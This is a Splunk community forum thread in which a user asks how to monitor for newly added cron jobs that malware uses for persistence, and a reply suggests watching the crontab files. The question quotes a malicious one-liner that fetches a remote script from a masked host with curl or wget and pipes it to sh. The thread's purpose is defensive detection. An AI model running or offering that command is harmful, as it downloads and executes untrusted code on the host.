Splunk Enterprise

how to use splunk monitor a cron job add action

bestSplunker
Contributor

when some Trojans or virus  are implanted in the Linux OS. it will add cron job to  persist the Trojans .

for example:

 

 

 

 

curl -fsSL https://xxxx.com/raw/sByq0rym ||wget -q -0- https://xxx.com/raw/sByq0rym)|sh

 

 

 

 

so, can I use splunk to monitor  newly added  cron job ?

Labels (1)
0 Karma

thambisetty
SplunkTrust
SplunkTrust

You can monitor crontab files and apply your logic to find new cron job added.

The below doc is helpful to find out cronjob location 

https://opensource.com/article/17/11/how-use-cron-linux

————————————
If this helps, give a like below.
0 Karma
Get Updates on the Splunk Community!

Data Management Digest – November 2025

  Welcome to the inaugural edition of Data Management Digest! As your trusted partner in data innovation, the ...

Splunk Mobile: Your Brand-New Home Screen

Meet Your New Mobile Hub  Hello Splunk Community!  Staying connected to your data—no matter where you are—is ...

Introducing Value Insights (Beta): Understand the Business Impact your organization ...

Real progress on your strategic priorities starts with knowing the business outcomes your teams are delivering ...